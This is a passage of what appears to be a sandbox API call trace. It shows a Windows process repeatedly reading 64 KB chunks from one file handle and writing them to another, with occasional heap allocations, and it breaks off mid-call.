[0118.295] GetCurrentThreadId () returned 0x9b0 [0118.296] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.296] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.297] GetCurrentThreadId () returned 0x9b0 [0118.297] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.299] GetCurrentThreadId () returned 0x9b0 [0118.299] GetCurrentThreadId () returned 0x9b0 [0118.300] GetCurrentThreadId () returned 0x9b0 [0118.300] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.300] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.301] GetCurrentThreadId () returned 0x9b0 [0118.301] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.309] GetCurrentThreadId () returned 0x9b0 [0118.309] GetCurrentThreadId () returned 0x9b0 [0118.310] GetCurrentThreadId () returned 0x9b0 [0118.310] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.313] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.314] GetCurrentThreadId () returned 0x9b0 [0118.314] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.316] GetCurrentThreadId () returned 0x9b0 [0118.316] GetCurrentThreadId () returned 0x9b0 [0118.316] GetCurrentThreadId () returned 0x9b0 [0118.316] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.316] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.318] GetCurrentThreadId () returned 0x9b0 [0118.318] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.318] GetCurrentThreadId () returned 0x9b0 [0118.318] GetCurrentThreadId () returned 0x9b0 [0118.318] GetCurrentThreadId () returned 0x9b0 [0118.318] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.319] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.320] GetCurrentThreadId () returned 0x9b0 [0118.320] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.322] GetCurrentThreadId () returned 0x9b0 [0118.322] GetCurrentThreadId () returned 0x9b0 [0118.322] GetCurrentThreadId () returned 0x9b0 [0118.322] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.323] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.324] GetCurrentThreadId () returned 0x9b0 [0118.324] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.324] GetCurrentThreadId () returned 0x9b0 [0118.325] GetCurrentThreadId () returned 0x9b0 [0118.325] GetCurrentThreadId () returned 0x9b0 [0118.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0118.325] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.326] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.327] GetCurrentThreadId () returned 0x9b0 [0118.327] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.328] GetCurrentThreadId () returned 0x9b0 [0118.329] GetCurrentThreadId () returned 0x9b0 [0118.329] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.329] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.330] GetCurrentThreadId () returned 0x9b0 [0118.330] GetCurrentThreadId () returned 0x9b0 [0118.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.331] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.331] GetCurrentThreadId () returned 0x9b0 [0118.331] GetCurrentThreadId () returned 0x9b0 [0118.331] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.332] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.333] GetCurrentThreadId () returned 0x9b0 [0118.333] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.335] GetCurrentThreadId () returned 0x9b0 [0118.335] GetCurrentThreadId () returned 0x9b0 [0118.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652b8 [0118.335] GetCurrentThreadId () returned 0x9b0 [0118.335] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.336] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.337] GetCurrentThreadId () returned 0x9b0 [0118.337] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.337] GetCurrentThreadId () returned 0x9b0 [0118.337] GetCurrentThreadId () returned 0x9b0 [0118.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652c8 [0118.338] GetCurrentThreadId () returned 0x9b0 [0118.338] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.339] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.340] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.341] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.342] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.343] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.344] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.344] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.345] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.347] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.348] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.349] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.349] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.350] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.352] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.352] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.353] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.355] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.355] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.355] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.357] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.357] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.359] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.361] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.369] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.372] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.373] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.374] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.375] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.376] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.377] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.377] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.378] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.380] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.380] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.382] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.382] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.383] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.384] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.386] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.386] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.387] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.388] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.389] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.390] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.392] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.392] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.393] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.394] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.395] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.396] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.398] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.398] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.399] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.400] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.400] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.401] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.403] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.403] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.405] ReadFile (in: 